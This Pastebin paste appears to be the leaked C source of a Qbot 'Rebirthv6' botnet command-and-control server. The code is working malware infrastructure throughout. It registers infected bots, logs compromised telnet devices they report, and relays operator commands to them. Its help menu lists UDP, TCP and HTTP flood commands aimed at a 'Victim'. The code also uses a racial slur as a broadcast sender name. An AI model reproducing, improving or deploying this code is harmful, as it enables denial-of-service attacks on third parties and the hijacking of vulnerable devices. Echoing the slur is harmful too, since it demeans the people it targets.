KekSec

QBOT LEAK Rebirthv6 server.c - by SynthMesc

Mar 27th, 2017
1,502
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 21.86 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. // Qbot leak Rebirthv6 server by Freak aka SynthMesc
  18. #define MAXFDS 1000000
  19. //////////////////////////////////
  20. struct login_info {
  21.     char username[20];
  22.     char password[20];
  23. };
  24. static struct login_info accounts[22];
  25. struct clientdata_t {
  26.         uint32_t ip;
  27.         char connected;
  28. } clients[MAXFDS];
  29. struct telnetdata_t {
  30.         int connected;
  31. } managements[MAXFDS];
  32. struct args {
  33.         int sock;
  34.         struct sockaddr_in cli_addr;
  35. };
  36. static volatile FILE *telFD;
  37. static volatile FILE *fileFD;
  38. static volatile int epollFD = 0;
  39. static volatile int listenFD = 0;
  40. static volatile int OperatorsConnected = 0;
  41. static volatile int TELFound = 0;
  42. static volatile int scannerreport;
  43. //////////////////////////////////
  44. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  45.     int total = 0, got = 1;
  46.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  47.     return got;
  48. }
  49. void trim(char *str) {
  50.     int i;
  51.     int begin = 0;
  52.     int end = strlen(str) - 1;
  53.     while (isspace(str[begin])) begin++;
  54.     while ((end >= begin) && isspace(str[end])) end--;
  55.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  56.     str[i - begin] = '\0';
  57. }
  58. static int make_socket_non_blocking (int sfd) {
  59.     int flags, s;
  60.     flags = fcntl (sfd, F_GETFL, 0);
  61.     if (flags == -1) {
  62.         perror ("fcntl");
  63.         return -1;
  64.     }
  65.     flags |= O_NONBLOCK;
  66.     s = fcntl (sfd, F_SETFL, flags);
  67.     if (s == -1) {
  68.         perror ("fcntl");
  69.         return -1;
  70.     }
  71.     return 0;
  72. }
  73. static int create_and_bind (char *port) {
  74.     struct addrinfo hints;
  75.     struct addrinfo *result, *rp;
  76.     int s, sfd;
  77.     memset (&hints, 0, sizeof (struct addrinfo));
  78.     hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  79.     hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  80.     hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  81.     s = getaddrinfo (NULL, port, &hints, &result);
  82.     if (s != 0) {
  83.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  84.         return -1;
  85.     }
  86.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  87.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  88.         if (sfd == -1) continue;
  89.         int yes = 1;
  90.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  91.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  92.         if (s == 0) {
  93.             break;
  94.         }
  95.         close (sfd);
  96.     }
  97.     if (rp == NULL) {
  98.         fprintf (stderr, "Could not bind\n");
  99.         return -1;
  100.     }
  101.     freeaddrinfo (result);
  102.     return sfd;
  103. }
  104. void broadcast(char *msg, int us, char *sender)
  105. {
  106.         int sendMGM = 1;
  107.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  108.         char *wot = malloc(strlen(msg) + 10);
  109.         memset(wot, 0, strlen(msg) + 10);
  110.         strcpy(wot, msg);
  111.         trim(wot);
  112.         time_t rawtime;
  113.         struct tm * timeinfo;
  114.         time(&rawtime);
  115.         timeinfo = localtime(&rawtime);
  116.         char *timestamp = asctime(timeinfo);
  117.         trim(timestamp);
  118.         int i;
  119.         for(i = 0; i < MAXFDS; i++)
  120.         {
  121.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  122.                 if(sendMGM && managements[i].connected)
  123.                 {
  124.                         send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  125.                         send(i, sender, strlen(sender), MSG_NOSIGNAL); // Para: SS
  126.                         send(i, ": ", 2, MSG_NOSIGNAL);
  127.                 }
  128.                 printf("sent to fd: %d\n", i);
  129.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  130.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[37mType: ", 13, MSG_NOSIGNAL);
  131.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  132.         }
  133.         free(wot);
  134. }
  135. void *BotEventLoop(void *useless) {
  136.     struct epoll_event event;
  137.     struct epoll_event *events;
  138.     int s;
  139.     events = calloc (MAXFDS, sizeof event);
  140.     while (1) {
  141.         int n, i;
  142.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  143.         for (i = 0; i < n; i++) {
  144.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  145.                 clients[events[i].data.fd].connected = 0;
  146.                 close(events[i].data.fd);
  147.                 continue;
  148.             }
  149.             else if (listenFD == events[i].data.fd) {
  150.                while (1) {
  151.                 struct sockaddr in_addr;
  152.                 socklen_t in_len;
  153.                 int infd, ipIndex;
  154.  
  155.                 in_len = sizeof in_addr;
  156.                 infd = accept (listenFD, &in_addr, &in_len);
  157.                 if (infd == -1) {
  158.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  159.                     else {
  160.                         perror ("accept");
  161.                         break;
  162.                          }
  163.                 }
  164.  
  165.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  166.                 int dup = 0;
  167.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  168.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  169.                     if(clients[ipIndex].ip == clients[infd].ip) {
  170.                         dup = 1;
  171.                         break;
  172.                     }}
  173.                 if(dup) {
  174.                     if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  175.                     close(infd);
  176.                     continue;
  177.                 }
  178.                 s = make_socket_non_blocking (infd);
  179.                 if (s == -1) { close(infd); break; }
  180.                 event.data.fd = infd;
  181.                 event.events = EPOLLIN | EPOLLET;
  182.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  183.                 if (s == -1) {
  184.                     perror ("epoll_ctl");
  185.                     close(infd);
  186.                     break;
  187.                 }
  188.                 clients[infd].connected = 1;
  189.                 send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  190.             }
  191.             continue;
  192.         }
  193.         else {
  194.             int datafd = events[i].data.fd;
  195.             struct clientdata_t *client = &(clients[datafd]);
  196.             int done = 0;
  197.             client->connected = 1;
  198.             while (1) {
  199.                 ssize_t count;
  200.                 char buf[2048];
  201.                 memset(buf, 0, sizeof buf);
  202.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  203.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  204.                     trim(buf);
  205.                     if(strcmp(buf, "PING") == 0) {
  206.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  207.                         continue;
  208.                     }
  209.                     if(strstr(buf, "REPORT ") == buf) {
  210.                         char *line = strstr(buf, "REPORT ") + 7;
  211.                         fprintf(telFD, "%s\n", line);
  212.                         fflush(telFD);
  213.                         TELFound++;
  214.                         continue;
  215.                     }
  216.                     if(strstr(buf, "PROBING") == buf) {
  217.                         char *line = strstr(buf, "PROBING");
  218.                         scannerreport = 1;
  219.                         continue;
  220.                     }
  221.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  222.                         char *line = strstr(buf, "REMOVING PROBE");
  223.                         scannerreport = 0;
  224.                         continue;
  225.                     }
  226.                     if(strcmp(buf, "PONG") == 0) {
  227.                         continue;
  228.                     }
  229.                     printf("buf: \"%s\"\n", buf);
  230.                 }
  231.                 if (count == -1) {
  232.                     if (errno != EAGAIN) {
  233.                         done = 1;
  234.                     }
  235.                     break;
  236.                 }
  237.                 else if (count == 0) {
  238.                     done = 1;
  239.                     break;
  240.                 }
  241.             if (done) {
  242.                 client->connected = 0;
  243.                 close(datafd);
  244.                     }
  245.                 }
  246.             }
  247.         }
  248.     }
  249. }
  250. unsigned int BotsConnected() {
  251.     int i = 0, total = 0;
  252.     for(i = 0; i < MAXFDS; i++) {
  253.         if(!clients[i].connected) continue;
  254.         total++;
  255.     }
  256.     return total;
  257. }
  258. void *TitleWriter(void *sock) {
  259.     int datafd = (int)sock;
  260.     char string[2048];
  261.     while(1) {
  262.         memset(string, 0, 2048);
  263.         sprintf(string, "%c]0;Boats Connected: %d | Docks Connected: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  264.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  265.         sleep(2);
  266. }}
  267. int Find_Login(char *str) {
  268.     FILE *fp;
  269.     int line_num = 0;
  270.     int find_result = 0, find_line=0;
  271.     char temp[512];
  272.  
  273.     if((fp = fopen("login.txt", "r")) == NULL){
  274.         return(-1);
  275.     }
  276.     while(fgets(temp, 512, fp) != NULL){
  277.         if((strstr(temp, str)) != NULL){
  278.             find_result++;
  279.             find_line = line_num;
  280.         }
  281.         line_num++;
  282.     }
  283.     if(fp)
  284.         fclose(fp);
  285.     if(find_result == 0)return 0;
  286.     return find_line;
  287. }
  288. void *BotWorker(void *sock) {
  289.     int datafd = (int)sock;
  290.     int find_line;
  291.     OperatorsConnected++;
  292.     pthread_t title;
  293.     char buf[2048];
  294.     char* username;
  295.     char* password;
  296.     memset(buf, 0, sizeof buf);
  297.     char botnet[2048];
  298.     memset(botnet, 0, 2048);
  299.  
  300.     FILE *fp;
  301.     int i=0;
  302.     int c;
  303.     fp=fopen("login.txt", "r");
  304.     while(!feof(fp)) {
  305.         c=fgetc(fp);
  306.         ++i;
  307.     }
  308.     int j=0;
  309.     rewind(fp);
  310.     while(j!=i-1) {
  311.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  312.         ++j;
  313.     }
  314.  
  315.         if(send(datafd, "\x1b[36mWelcome,Username?: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  316.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  317.         trim(buf);
  318.         char* nickstring;
  319.         sprintf(accounts[find_line].username, buf);
  320.         nickstring = ("%s", buf);
  321.         find_line = Find_Login(nickstring);
  322.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  323.         if(send(datafd, "\x1b[32mPassword: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  324.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  325.         trim(buf);
  326.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  327.         memset(buf, 0, 2048);
  328.         goto Banner;
  329.         }
  330.         failed:
  331.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  332.         char failed_line1[80];
  333.  
  334.         sprintf(failed_line1, "\x1b[36mFUCK OFF SKID\r\n");
  335.         if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  336.         sleep(5);
  337.         goto end;
  338.  
  339.         Banner:
  340.         pthread_create(&title, NULL, &TitleWriter, sock);
  341.         char ascii_banner_line1 [5000];
  342.         char ascii_banner_line2 [5000];
  343.         char ascii_banner_line3 [5000];
  344.         char ascii_banner_line4 [5000];
  345.         char ascii_banner_line5 [5000];
  346.         char ascii_banner_line6 [5000];
  347.         char ascii_banner_line7 [5000];
  348.         char ascii_banner_line8 [5000];
  349.         char ascii_banner_line9 [5000];
  350.         char welcome_line [80];
  351.         char banner_bot_count [2048];
  352.         memset(banner_bot_count, 0, 2048);
  353.        
  354.         sprintf(ascii_banner_line1, "\x1b[36m   **     **              **          \r\n");
  355.         sprintf(ascii_banner_line2, "\x1b[36m  /**    /**             //           \r\n");
  356.         sprintf(ascii_banner_line3, "\x1b[36m  /**    /**   *******    **   **   **\r\n");
  357.         sprintf(ascii_banner_line4, "\x1b[36m  /**    /*   //**///**  /**  //** ** \r\n");
  358.         sprintf(ascii_banner_line5, "\x1b[36m  /**    /**   /**  /**  /**   //***  \r\n");
  359.         sprintf(ascii_banner_line6, "\x1b[36m  /**    /**   /**  /**  /**    **/** \r\n");
  360.         sprintf(ascii_banner_line7, "\x1b[36m  //*******    ***  /**  /**   ** //**\r\n");
  361.         sprintf(ascii_banner_line8, "\x1b[36m   ///////    ///   //   //   //   // \r\n");
  362.         sprintf(ascii_banner_line9, "\r\n");   
  363.         sprintf(welcome_line,       "\x1b[36m        #\x1b[36m----- \x1b[36mBoat Count: %d\x1b[36m -----\x1b[36m#\r\n", BotsConnected(), OperatorsConnected);
  364.         sprintf(banner_bot_count,   "\r\n\x1b[36m    #\x1b[36m-------- \x1b[37mWelcome, %s\x1b[36m --------\x1b[36m#\r\n", accounts[find_line].username);
  365.  
  366.         if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  367.         if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  368.         if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  369.         if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  370.         if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  371.         if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  372.         if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  373.         if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  374.         if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  375.         if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  376.         if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  377.         while(1) {
  378.         if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  379.         if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  380.         break;
  381.         }
  382.         pthread_create(&title, NULL, &TitleWriter, sock);
  383.         managements[datafd].connected = 1;
  384.  
  385.         while(fdgets(buf, sizeof buf, datafd) > 0)
  386.         {
  387.             if(strstr(buf, "BOTS")) {
  388.                 char botcount [2048];
  389.                 memset(botcount, 0, 2048);
  390.                 sprintf(botcount, "[+] - Slaves: [\x1b[36m %d \x1b[37m] [+] - Masters: [\x1b[36m %d \x1b[37m]\r\n", BotsConnected(), OperatorsConnected);
  391.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  392.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  393.                 continue;
  394.             }
  395.             if(strstr(buf, "STATUS")){
  396.                 char statuscount [2048];
  397.                 memset(statuscount, 0, 2048);
  398.                 sprintf(statuscount, "[+] - Devices: [\x1b[36m %d \x1b[37m] [+] - Status: [\x1b[36m %d \x1b[37m]\r\n", TELFound, scannerreport);
  399.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  400.                                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  401.                 continue;
  402.             }
  403.             if(strstr(buf, "HELP")) {
  404.                 pthread_create(&title, NULL, &TitleWriter, sock);
  405.                 char helpline1  [80];
  406.                 char helpline2  [80];
  407.                 char helpline3  [80];
  408.                 char helpline4  [80];
  409.                 char helpline5  [80];
  410.                 char helpline6  [80];
  411.                 char helpline7  [80];
  412.                 char helpline9  [80];
  413.                 char helpline11 [80];
  414.                 char helpline12 [80];
  415.                 char helpline13 [80];
  416.                 char helpline14 [80];
  417.  
  418.                 sprintf(helpline1,  "   \r\n\x1b[37m#--- \x1b[36mCOMMANDS \x1b[37m---#\r\n\r\n");
  419.                 sprintf(helpline2,  "   \x1b[37m- UDP - \x1b[36m!* UDP Victim Port Time 32 0 10\r\n");
  420.                 sprintf(helpline3,  "   \x1b[37m- TCP - \x1b[36m!* TCP Victim Port Time 32 all 0 10\r\n");
  421.                 sprintf(helpline4,  "   \x1b[37m- HTTP - \x1b[36m!* HTTP Url Time\r\n");
  422.                 sprintf(helpline5,  "   \x1b[37m- CNC - \x1b[36m!* CNC IP PORT TIME\r\n");
  423.                 sprintf(helpline7,  "   \x1b[37m- Kills Attack - \x1b[36mKILL\r\n");
  424.                 sprintf(helpline9,  "   \x1b[37m- Bot Count - \x1b[36mBOTS\r\n");
  425.                 sprintf(helpline11, "   \x1b[37m- Clear Screen - \x1b[36mCLEAR\r\n");
  426.                 sprintf(helpline12, "   \x1b[37m- LOGOUT - \x1b[36mLOGOUT\r\n");
  427.                 sprintf(helpline13, "   \x1b[37m- TOS - \x1b[36mTOS\r\n");
  428.                 sprintf(helpline14, "   \r\n");
  429.  
  430.                 if(send(datafd, helpline1,  strlen(helpline1),  MSG_NOSIGNAL) == -1) goto end;
  431.                 if(send(datafd, helpline2,  strlen(helpline2),  MSG_NOSIGNAL) == -1) goto end;
  432.                 if(send(datafd, helpline3,  strlen(helpline3),  MSG_NOSIGNAL) == -1) goto end;
  433.                 if(send(datafd, helpline4,  strlen(helpline4),  MSG_NOSIGNAL) == -1) goto end;
  434.                 if(send(datafd, helpline5,  strlen(helpline5),  MSG_NOSIGNAL) == -1) goto end;
  435.                 if(send(datafd, helpline6,  strlen(helpline6),  MSG_NOSIGNAL) == -1) goto end;
  436.                 if(send(datafd, helpline7,  strlen(helpline7),  MSG_NOSIGNAL) == -1) goto end;
  437.                 if(send(datafd, helpline9,  strlen(helpline9),  MSG_NOSIGNAL) == -1) goto end;
  438.                 if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  439.                 if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  440.                 if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  441.                 if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  442.                 pthread_create(&title, NULL, &TitleWriter, sock);
  443.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  444.                 continue;
  445.             }
  446.                         if(strstr(buf, "ls")) {
  447.                 pthread_create(&title, NULL, &TitleWriter, sock);
  448.                 char ls1  [80];
  449.                 char ls2  [80];
  450.                 char ls3  [80];
  451.                 char ls4  [80];
  452.                 char ls5  [80];
  453.  
  454.                 sprintf(ls1,  "   \r\n\x1b[37m#--- \x1b[36mMETHODS \x1b[37m---#\r\n\r\n");
  455.                 sprintf(ls2,  "   \x1b[37m- UDP - \x1b[36m!* UDP Victim Port Time 32 0 10\r\n");
  456.                 sprintf(ls3,  "   \x1b[37m- TCP - \x1b[36m!* TCP Victim Port Time 32 all 0 10\r\n");
  457.                 sprintf(ls4,  "   \x1b[37m- HTTP - \x1b[36m!* HTTP Url Time\r\n");
  458.                 sprintf(ls5,  "   \x1b[37m- CNC - \x1b[36m!* CNC IP PORT TIME\r\n");
  459.  
  460.                 if(send(datafd, ls1,  strlen(ls1),  MSG_NOSIGNAL) == -1) goto end;
  461.                 if(send(datafd, ls2,  strlen(ls2),  MSG_NOSIGNAL) == -1) goto end;
  462.                 if(send(datafd, ls3,  strlen(ls3),  MSG_NOSIGNAL) == -1) goto end;
  463.                 if(send(datafd, ls4,  strlen(ls4),  MSG_NOSIGNAL) == -1) goto end;
  464.                 if(send(datafd, ls5,  strlen(ls5),  MSG_NOSIGNAL) == -1) goto end;
  465.  
  466.                 pthread_create(&title, NULL, &TitleWriter, sock);
  467.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  468.                 continue;
  469.         }
  470.  
  471.             if(strstr(buf, "KILL")) {
  472.                 char killattack [2048];
  473.                 memset(killattack, 0, 2048);
  474.                 sprintf(killattack, "!* KILLATTK\r\n");
  475.                 if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  476.                                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  477.                 continue;
  478.             }
  479.             if(strstr(buf, "CLEAR")) {
  480.                 char clearscreen [2048];
  481.                 memset(clearscreen, 0, 2048);
  482.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  483.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  484.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  485.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  486.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  487.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  488.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  489.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  490.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  491.                 if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  492.                 while(1) {
  493.                 if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  494.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  495.                 break;
  496.                 }
  497.                 continue;
  498.             }
  499.             if(strstr(buf, "TOS")) {
  500.                 pthread_create(&title, NULL, &TitleWriter, sock);
  501.                 char tos1  [80];
  502.                 sprintf(tos1,  "\r\n\x1b[36mTOS: \x1b[37mhttp://pastebin.com/HGHUJLE8\r\n\r\n");
  503.  
  504.                 if(send(datafd, tos1,  strlen(tos1),    MSG_NOSIGNAL) == -1) goto end;
  505.                 pthread_create(&title, NULL, &TitleWriter, sock);
  506.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  507.                 continue;
  508.  
  509.             }
  510.                
  511.             if(strstr(buf, "LOGOUT")) {
  512.                 char logoutmessage [2048];
  513.                 memset(logoutmessage, 0, 2048);
  514.                 sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  515.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  516.                 sleep(5);
  517.                 goto end;
  518.             }
  519.                 trim(buf);
  520.                 if(send(datafd, "\x1b[37mType: ", 11, MSG_NOSIGNAL) == -1) goto end;
  521.                 if(strlen(buf) == 0) continue;
  522.                 printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  523.  
  524.                 FILE *LogFile;
  525.                 LogFile = fopen("server.log", "a");
  526.                 time_t now;
  527.                 struct tm *gmt;
  528.                 char formatted_gmt [50];
  529.                 char lcltime[50];
  530.                 now = time(NULL);
  531.                 gmt = gmtime(&now);
  532.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  533.                 fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  534.                 fclose(LogFile);
  535.                 broadcast(buf, datafd, accounts[find_line].username);
  536.                 memset(buf, 0, 2048);
  537.         }
  538.         end:
  539.             managements[datafd].connected = 0;
  540.             close(datafd);
  541.             OperatorsConnected--;
  542. }
  543. void *BotListener(int port) {
  544.     int sockfd, newsockfd;
  545.     socklen_t clilen;
  546.     struct sockaddr_in serv_addr, cli_addr;
  547.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  548.     if (sockfd < 0) perror("ERROR opening socket");
  549.     bzero((char *) &serv_addr, sizeof(serv_addr));
  550.     serv_addr.sin_family = AF_INET;
  551.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  552.     serv_addr.sin_port = htons(port);
  553.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  554.     listen(sockfd,5);
  555.     clilen = sizeof(cli_addr);
  556.     while(1) {
  557.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  558.         if (newsockfd < 0) perror("ERROR on accept");
  559.         pthread_t thread;
  560.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  561. }}
  562. int main (int argc, char *argv[], void *sock)
  563. {
  564.         signal(SIGPIPE, SIG_IGN);
  565.         int s, threads, port;
  566.         struct epoll_event event;
  567.         if (argc != 4) {
  568.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  569.             exit (EXIT_FAILURE);
  570.         }
  571.         port = atoi(argv[3]);
  572.         telFD = fopen("telnet.txt", "a+");
  573.         threads = atoi(argv[2]);
  574.         listenFD = create_and_bind (argv[1]);
  575.         if (listenFD == -1) abort ();
  576.         s = make_socket_non_blocking (listenFD);
  577.         if (s == -1) abort ();
  578.         s = listen (listenFD, SOMAXCONN);
  579.         if (s == -1) {
  580.             perror ("listen");
  581.             abort ();
  582.         }
  583.         epollFD = epoll_create1 (0);
  584.         if (epollFD == -1) {
  585.             perror ("epoll_create");
  586.             abort ();
  587.         }
  588.         event.data.fd = listenFD;
  589.         event.events = EPOLLIN | EPOLLET;
  590.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  591.         if (s == -1) {
  592.             perror ("epoll_ctl");
  593.             abort ();
  594.         }
  595.         pthread_t thread[threads + 2];
  596.         while(threads--) {
  597.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  598.         }
  599.         pthread_create(&thread[0], NULL, &BotListener, port);
  600.         while(1) {
  601.             broadcast("PING", -1, "NIGGER");
  602.             sleep(60);
  603.         }
  604.         close (listenFD);
  605.         return EXIT_SUCCESS;
  606. }
Advertisement
Add Comment
Please, Sign In to add comment